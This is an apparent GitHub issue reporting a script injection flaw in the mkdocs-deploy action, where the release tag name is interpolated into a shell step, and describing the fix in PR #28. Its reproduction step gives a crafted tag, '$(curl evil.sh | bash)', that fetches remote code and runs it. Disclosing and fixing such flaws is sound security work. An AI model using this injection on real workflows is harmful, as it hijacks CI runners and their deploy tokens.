bug(mkdocs-deploy): script injection via github.event.release.tag_name in release deploy

[MAfarrag]

Context

Found in a security review of the composite actions; fixed in PR #28.

Problem

The release-trigger path interpolated ${{ github.event.release.tag_name }} directly into a run: script body.
GitHub substitutes this into the script text before bash runs, and git ref names may contain $( ), backticks, ;,
|. A release published with a crafted tag name executes arbitrary commands on the runner with access to the deploy
token (contents: write + pages: write).

Affected locations

File	Location	Notes
actions/mkdocs-deploy/action.yml	"Set release tag environment variable" step	export RELEASE_TAG_VERSION="${{ github.event.release.tag_name }}"

Reproduction

A release with tag name $(curl evil.sh | bash) → the export line executes it.

Fix (PR #28)

Pass the tag (and mike-alias) via env: and reference the quoted shell variable; add a fail-fast guard that errors
when no tag resolves.

Severity / Effort

High · XS

Definition of Done

• No github.event.* interpolation in any run: body of the action
• Release trigger still deploys the correct version (test-mkdocs-deploy release jobs green)